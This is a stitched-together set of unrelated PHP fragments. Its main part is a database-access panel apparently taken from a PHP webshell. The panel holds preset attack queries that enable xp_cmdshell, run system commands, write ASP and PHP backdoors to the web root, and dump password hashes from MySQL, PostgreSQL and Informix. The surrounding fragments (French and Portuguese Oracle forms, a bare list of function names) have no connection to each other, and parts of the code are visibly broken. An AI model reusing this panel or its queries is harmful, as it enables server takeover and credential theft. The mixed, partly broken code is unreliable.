<td><textarea name="definition" type="text" class="form_champ" id="typedoc2" ></textarea></td> </tr> <tr> <td height="18" class="form_texte">Concept : </td> <td><select name="concept" class="form_champ" id="concept"> <?php $NomConcept = ociparse($oci_conn,"SELECT LEBILEC FROM CONCEPT"); //echo "<select name='ts' id='ts'>"; ociexecute($NomConcept,OCI_DEFAULT); //while(ocifetch($NomConcept)){ while(($row = oci_fetch_object($NomConcept))){ //echo "<option value=''> ".ociresult($NomConcept,1)." </option>"; echo "<option value='".$row->LEBILEC."'>".$row->LEBILEC."</option>"; echo ociresult($NomConcept,1); } echo "</select>"; ocilogoff($oci_conn); ?> </select></td> </tr> <tr> <td> </td> <td> </td> </tr> <tr> <td><input type="submit" name="Ajouter" id="Ajouter" value="Ajouter" /></td> </tr>
//Seleciona todos os funcionários cadastrados $stmt = oci_parse($conexao, "SELECT * FROM Protocolo"); oci_execute($stmt, OCI_DEFAULT); while (Ocifetch($stmt)) { $id = ociresult($stmt, "CD_PROTOCOLO"); ?> <tr> <td> <input type="text" name="txtprotocolo" class="txt" readonly="readonly" value='<?php echo $id; ?> '/> </td> <td> <input type="text" name="txtrecebimento" class="txt" readonly="readonly" value='<?php echo ociresult($stmt, "DT_RECEBIMENTO"); ?> '/> </td> <td> <?php echo "<a href='ConProtocolo.php?Atualizar&I={$id}' class='bt'>Atualizar</a>"; ?> </td> <td> <?php echo "<a href='ConProtocolo.php?Excluir&I={$id}' class='bt'>Excluir</a>"; ?> </td> </tr> <?php
function otherdb() { $db = isset($_GET['db']) ? $_GET['db'] : ''; print <<<END <form method="POST" name="dbform" id="dbform" action="?s=w&db={$db}" enctype="multipart/form-data"> <div class="actall"><a href="?s=w">   psotgresql  </a> <a href="?s=w&db=ms">   mssql  </a> <a href="?s=w&db=ora">   oracle  </a> <a href="?s=w&db=ifx">   informix  </a> <a href="?s=w&db=fb">   firebird  </a> <a href="?s=w&db=db2">  db2  </a></div></form> END; if ($db == "ms") { $mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost'; $msuser = isset($_POST['msuser']) ? $_POST['msuser'] : '******'; $mspass = isset($_POST['mspass']) ? $_POST['mspass'] : '******'; $msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master'; $msaction = isset($_POST['action']) ? $_POST['action'] : ''; $msquery = isset($_POST['mssql']) ? $_POST['mssql'] : ''; $msquery = stripslashes($msquery); print <<<END <form method="POST" name="msform" action="?s=w&db=ms"> <div class="actall">Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px"> User:<input type="text" name="msuser" value="{$msuser}" style="width:100px"> Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px"> Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br><br> <script language="javascript"> function msFull(i){ \tStr = new Array(11); Str[0] = ""; \tStr[1] = "select @@version;"; Str[2] = "select name from sysdatabases;"; Str[3] = "select name from sysobject where type='U';"; Str[4] = "select name from syscolumns where id=Object_Id('table_name');"; Str[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');"; \tStr[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');"; \tStr[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;"; Str[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;"; Str[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;"; Str[10] = "Exec master.dbo.xp_cmdshell 'net user';"; Str[11] = "Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';"; \tStr[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' "; msform.mssql.value = Str[i]; \treturn true; } </script> <textarea name="mssql" style="width:600px;height:200px;">{$msquery}</textarea><br> <select onchange="return msFull(options[selectedIndex].value)"> \t<option value="0" selected>command</option> <option value="1">version</option> <option value="2">databases</option> <option value="3">tables</option> <option value="4">columns</option> <option value="5">add sp_oacreate</option> \t<option value="6">add xp_cmdshell</option> \t<option value="7">add xp_cmdshell(2005)</option> <option value="8">add sp_oacreate(2005)</option> <option value="9">open openrowset(2005)</option> <option value="10">xp_cmdshell exec</option> <option value="10">sp_oamethod exec</option> <option value="11">sp_makewebtask</option> </select> <input type="hidden" name="action" value="msquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($msaction == 'msquery') { $msconn = mssql_connect($mshost, $msuser, $mspass); mssql_select_db($msdbname, $msconn) or die("connect error :" . mssql_get_last_message()); $msresult = mssql_query($msquery) or die(mssql_get_last_message()); echo '<font face="verdana">'; echo '<table border="1" cellpadding="1" cellspacing="2">'; echo "\n<tr>\n"; for ($i = 0; $i < mssql_num_fields($msresult); $i++) { echo '<td bgcolor="#228B22"><b>' . mssql_field_name($msresult, $i); echo "</b></td>\n"; } echo "</tr>\n"; mssql_data_seek($result, 0); while ($msrow = mssql_fetch_row($msresult)) { echo "<tr>\n"; for ($i = 0; $i < mssql_num_fields($msresult); $i++) { echo '<td bgcolor="#B8B8E8">'; echo "{$msrow[$i]}"; echo '</td>'; } echo "</tr>\n"; } echo "</table>\n"; echo "</font>"; mssql_free_result($msresult); mssql_close(); } } elseif ($db == "ora") { $orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost'; $oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521'; $orauser = isset($_POST['orauser']) ? $_POST['orauser'] : '******'; $orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '******'; $orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL'; $oraaction = isset($_POST['action']) ? $_POST['action'] : ''; $oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : ''; $oraquery = stripslashes($oraquery); print <<<END <form method="POST" name="oraform" action="?s=w&db=ora"> <div class="actall">Host:<input type="text" name="orahost" value="{$orahost}" style="width:100px"> Port:<input type="text" name="oraport" value="{$oraport}" style="width:50px"> User:<input type="text" name="orauser" value="{$orauser}" style="width:80px"> Pass:<input type="text" name="orapass" value="{$orapass}" style="width:100px"> SID:<input type="text" name="orasid" value="{$orasid}" style="width:50px"><br><br> <script language="javascript"> function oraFull(i){ \tStr = new Array(8); Str[0] = ""; \tStr[1] = "select version();"; Str[2] = "show databases;"; Str[3] = "show tables from db_name;"; Str[4] = "show columns from table_name;"; Str[5] = "select user,password from mysql.user;"; \tStr[6] = "select load_file(0xxxxxxxxxxxxxxxxxxxxx);"; \tStr[7] = "select 0xxxxx from mysql.user into outfile 'c:\\\\inetpub\\\\wwwroot\\\\test.php'"; \toraform.orasql.value = Str[i]; \treturn true; } </script> <textarea name="orasql" style="width:600px;height:200px;">{$oraquery}</textarea><br> <select onchange="return oraFull(options[selectedIndex].value)"> \t<option value="0" selected>command</option> <option value="1">version</option> <option value="2">databases</option> <option value="3">tables</option> <option value="4">columns</option> <option value="5">hashes</option> \t<option value="6">load_file</option> \t<option value="7">into outfile</option> </select> <input type="hidden" name="action" value="myquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($oraaction == 'oraquery') { $oralink = OCILogon($orauser, $orapass, "(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST={$orahost})(PORT = {$oraport}))(CONNECT_DATA =(SID={$orasid})))") or die(ocierror()); $oraresult = ociparse($oralink, $oraquery) or die(ocierror()); $orarow = oci_fetch_row($oraresult); echo '<font face="verdana">'; echo '<table border="1" cellpadding="1" cellspacing="2">'; echo "\n<tr>\n"; for ($i = 0; $i < oci_num_fields($oraresult); $i++) { echo '<td bgcolor="#228B22"><b>' . oci_field_name($oraresult, $i); echo "</b></td>\n"; } echo "</tr>\n"; ociresult($oraresult, 0); while ($orarow = ora_fetch_row($oraresult)) { echo "<tr>\n"; for ($i = 0; $i < ora_num_fields($result); $i++) { echo '<td bgcolor="#B8B8E8">'; echo "{$orarow[$i]}"; echo '</td>'; } echo "</tr>\n"; } echo "</table>\n"; echo "</font>"; oci_free_statement($oraresult); ocilogoff(); } } elseif ($db == "ifx") { $ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : '******'; $ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '******'; $ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb'; $ifxaction = isset($_POST['action']) ? $_POST['action'] : ''; $ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : ''; $ifxquery = stripslashes($ifxquery); print <<<END <form method="POST" name="ifxform" action="?s=w&db=ifx"> <div class="actall">Dbname:<input type="text" name="ifxhost" value="{$ifxdbname}" style="width:100px"> User:<input type="text" name="ifxuser" value="{$ifxuser}" style="width:100px"> Pass:<input type="text" name="ifxpass" value="{$ifxpass}" style="width:100px"><br><br> <script language="javascript"> function ifxFull(i){ \tStr = new Array(11); Str[0] = ""; \tStr[1] = "select dbservername from sysobjects;"; Str[2] = "select name from sysdatabases;"; Str[3] = "select tabname from systables;"; Str[4] = "select colname from syscolumns where tabid=n;"; Str[5] = "select username,usertype,password from sysusers;"; \tifxform.ifxsql.value = Str[i]; \treturn true; } </script> <textarea name="ifxsql" style="width:600px;height:200px;">{$ifxquery}</textarea><br> <select onchange="return ifxFull(options[selectedIndex].value)"> \t<option value="0" selected>command</option> <option value="1">dbservername</option> <option value="1">databases</option> <option value="2">tables</option> <option value="3">columns</option> <option value="4">hashes</option> </select> <input type="hidden" name="action" value="ifxquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($ifxaction == 'ifxquery') { $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg()); $ifxresult = ifx_query($ifxquery, $ifxlink) or die(ifx_errormsg()); $ifxrow = ifx_fetch_row($ifxresult); echo '<font face="verdana">'; echo '<table border="1" cellpadding="1" cellspacing="2">'; echo "\n<tr>\n"; for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) { echo '<td bgcolor="#228B22"><b>' . ifx_fieldproperties($ifxresult); echo "</b></td>\n"; } echo "</tr>\n"; mysql_data_seek($ifxresult, 0); while ($ifxrow = ifx_fetch_row($ifxresult)) { echo "<tr>\n"; for ($i = 0; $i < ifx_num_fields($ifxresult); $i++) { echo '<td bgcolor="#B8B8E8">'; echo "{$ifxrow[$i]}"; echo '</td>'; } echo "</tr>\n"; } echo "</table>\n"; echo "</font>"; ifx_free_result($ifxresult); ifx_close(); } } elseif ($db == "db2") { $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost'; $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000'; $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : '******'; $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '******'; $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql'; $db2action = isset($_POST['action']) ? $_POST['action'] : ''; $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : ''; $db2query = stripslashes($db2query); print <<<END <form method="POST" name="db2form" action="?s=w&db=db2"> <div class="actall">Host:<input type="text" name="db2host" value="{$db2host}" style="width:100px"> Port:<input type="text" name="db2port" value="{$db2port}" style="width:60px"> User:<input type="text" name="db2user" value="{$db2user}" style="width:100px"> Pass:<input type="text" name="db2pass" value="{$db2pass}" style="width:100px"> Dbname:<input type="text" name="db2dbname" value="{$db2dbname}" style="width:100px"><br><br> <script language="javascript"> function db2Full(i){ \tStr = new Array(4); Str[0] = ""; \tStr[1] = "select schemaname from syscat.schemata;"; Str[2] = "select name from sysibm.systables;"; Str[3] = "select colname from syscat.columns where tabname='table_name';"; Str[4] = "db2 get db cfg for db_name;"; \tdb2form.db2sql.value = Str[i]; \treturn true; } </script> <textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br> <select onchange="return db2Full(options[selectedIndex].value)"> \t<option value="0" selected>command</option> <option value="1">databases</option> <option value="1">tables</option> <option value="2">columns</option> <option value="3">db config</option> </select> <input type="hidden" name="action" value="db2query"> <input class="bt" type="submit" value="Query"></div></form> END; if ($myaction == 'db2query') { //$db2string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$db2dbname;"."HOSTNAME=$db2host;PORT=$db2port;PROTOCOL=TCPIP;UID=$db2user;PWD=$db2pass;"; $db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg()); $db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg()); $db2row = db2_fetch_row($db2result); echo '<font face="verdana">'; echo '<table border="1" cellpadding="1" cellspacing="2">'; echo "\n<tr>\n"; for ($i = 0; $i < db2_num_fields($db2result); $i++) { echo '<td bgcolor="#228B22"><b>' . db2_field_name($db2result); echo "</b></td>\n"; } echo "</tr>\n"; while ($db2row = db2_fetch_row($db2result)) { echo "<tr>\n"; for ($i = 0; $i < db2_num_fields($db2result); $i++) { echo '<td bgcolor="#B8B8E8">'; echo "{$db2row[$i]}"; echo '</td>'; } echo "</tr>\n"; } echo "</table>\n"; echo "</font>"; db2_free_result($db2result); db2_close(); } } elseif ($db == "fb") { $fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost'; $fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : ''; $fbpath = str_replace("\\\\", "\\", $fbpath); $fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : '******'; $fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : '******'; $fbaction = isset($_POST['action']) ? $_POST['action'] : ''; $fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : ''; $fbquery = stripslashes($fbquery); print <<<END <form method="POST" name="fbform" action="?s=w&db=fb"> <div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px"> Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px"> User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px"> Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/> <script language="javascript"> function fbFull(i){ \tStr = new Array(5); Str[0] = ""; \tStr[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;"; Str[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';"; Str[3] = "input 'D:\\createtable.sql';"; Str[4] = "shell netstat -an;"; \tfbform.fbsql.value = Str[i]; \treturn true; } </script> <textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br> <select onchange="return fbFull(options[selectedIndex].value)"> \t<option value="0" selected>command</option> <option value="1">tables</option> <option value="2">columns</option> <option value="3">import sql</option> <option value="4">shell</option> </select> <input type="hidden" name="action" value="fbquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($fbaction == 'fbquery') { $fblink = ibase_connect($fbhost . ':' . $fbpath, $fbuser, $fbpass) or die(ibase_errmsg()); $fbresult = ibase_query($fblink, $fbquery) or die(ibase_errmsg()); echo '<font face="verdana">'; echo '<table border="1" cellpadding="1" cellspacing="2">'; echo "\n<tr>\n"; for ($i = 0; $i < ibase_num_fields($fbresult); $i++) { echo '<td bgcolor="#228B22"><b>' . ibase_field_info($fbresult, $i); echo "</b></td>\n"; } echo "</tr>\n"; ibase_field_info($fbresult, 0); while ($fbrow = ibase_fetch_row($fbresult)) { echo "<tr>\n"; for ($i = 0; $i < ibase_num_fields($fbresult); $i++) { echo '<td bgcolor="#B8B8E8">'; echo "{$fbrow[$i]}"; echo '</td>'; } echo "</tr>\n"; } echo "</table>\n"; echo "</font>"; ibase_free_result($fbresult); ibase_close(); } } else { $pghost = isset($_POST['pghost']) ? $_POST['pghost'] : 'localhost'; $pguser = isset($_POST['pguser']) ? $_POST['pguser'] : '******'; $pgpass = isset($_POST['pgpass']) ? $_POST['pgpass'] : ''; $pgdbname = isset($_POST['pgdbname']) ? $_POST['pgdbname'] : 'postgres'; $pgaction = isset($_POST['action']) ? $_POST['action'] : ''; $pgquery = isset($_POST['pgsql']) ? $_POST['pgsql'] : ''; $pgquery = stripslashes($pgquery); print <<<END <form method="POST" name="pgform" action="?s=w"> <div class="actall">Host:<input type="text" name="pghost" value="{$pghost}" style="width:100px;"> User:<input type="text" name="pguser" vaule="{$pguser}" style="width:100px"> Pass:<input tyoe="text" name="pgpass" value="{$pgpass}" style="width:100px"> Dbname:<input type="text" name="pgdbname" value="{$pgdbname}" style="width:100px"><br><br> <script language="javascript"> function pgFull(i){ \tStr = new Array(7); \tStr[0] = ""; Str[1] = "select version();"; Str[2] = "select datname from pg_database;"; Str[3] = "select relname from pg_stat_user_tables limit 1 offset n;"; Str[4] = "select column_name from information_schema.columns where table_name='xxx' limit 1 offset n;"; Str[5] = "select usename,passwd from pg_shadow;"; \tStr[6] = "select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));"; \tpgform.pgsql.value = Str[i]; \treturn true; } </script> <textarea name="pgsql" style="width:600px;height:200px;">{$pgquery}</textarea><br> <select onchange="return pgFull(options[selectedIndex].value)"> \t<option value="0" selected>command</option> <option value="1">version</option> <option value="2">databases</option> <option value="3">tables</option> <option value="4">columns</option> <option value="5">hashes</option> \t<option value="6">pg_hb.conf</option> </select> <input type="hidden" name="action" value="pgquery"> <input class="bt" type="submit" value="Query"></div></form> END; if ($pgaction == 'pgquery') { $pgconn = pg_connect("host={$pghost} dbname={$pgdbname} user={$pguser} password={$pgpass} ") or die('Could not connect: ' . pg_last_error()); $pgresult = pg_query($pgquery) or die('Query failed: ' . pg_last_error()); $pgrow = pg_fetch_row($pgresult); echo '<font face="verdana">'; echo '<table border="1" cellpadding="1" cellspacing="2">'; echo "\n<tr>\n"; for ($i = 0; $i < pg_num_fields($pgresult); $i++) { echo '<td bgcolor="#228B22"><b>' . pg_field_name($pgresult, $i); echo "</b></td>\n"; } echo "</tr>\n"; pg_result_seek($pgresult, 0); while ($pgrow = pg_fetch_row($pgresult)) { echo "<tr>\n"; for ($i = 0; $i < pg_num_fields($pgresult); $i++) { echo '<td bgcolor="#B8B8E8">'; echo "{$pgrow[$i]}"; echo '</td>'; } echo "</tr>\n"; } echo "</table>\n"; echo "</font>"; pg_free_result($pgresult); pg_close(); } } }
if ($error = @ocierror()) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>" . $error['message'] . "</b></font></td></tr></table><br>"; } else { $rowcount = @ocirowcount($stat); if ($rowcount != 0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>" . $rowcount . "</b></font></td></tr></table><br>"; } else { echo "<table width=100%><tr>"; for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td bgcolor=#cccccc><font face=Verdana size=-2><b> " . htmlspecialchars(@ocicolumnname($stat, $j)) . " </b></font></td>"; } echo "</tr>"; while (ocifetch($stat)) { echo "<tr>"; for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td><font face=Verdana size=-2> " . htmlspecialchars(@ociresult($stat, $j)) . " </font></td>"; } echo "</tr>"; } echo "</table><br>"; } @ocifreestatement($stat); } } } @ocilogoff($db); } break; } echo "<form name=form method=POST>"; echo in('hidden', 'db', 0, $_POST['db']);
ocidefinebyname(); ocierror(); ociexecute(); ocifetch(); ocifetchinto(); ocifetchstatement(); ocifreecollection(); ocifreecursor(); ocifreedesc(); ocifreestatement(); ociinternaldebug(); ociloadlob(); ocilogoff(); ocilogon(); ocinewcollection(); ocinewcursor(); ocinewdescriptor(); ocinlogon(); ocinumcols(); ociparse(); ociplogon(); ociresult(); ocirollback(); ocirowcount(); ocisavelob(); ocisavelobfile(); ociserverversion(); ocisetprefetch(); ocistatementtype(); ociwritelobtofile(); ociwritetemporarylob();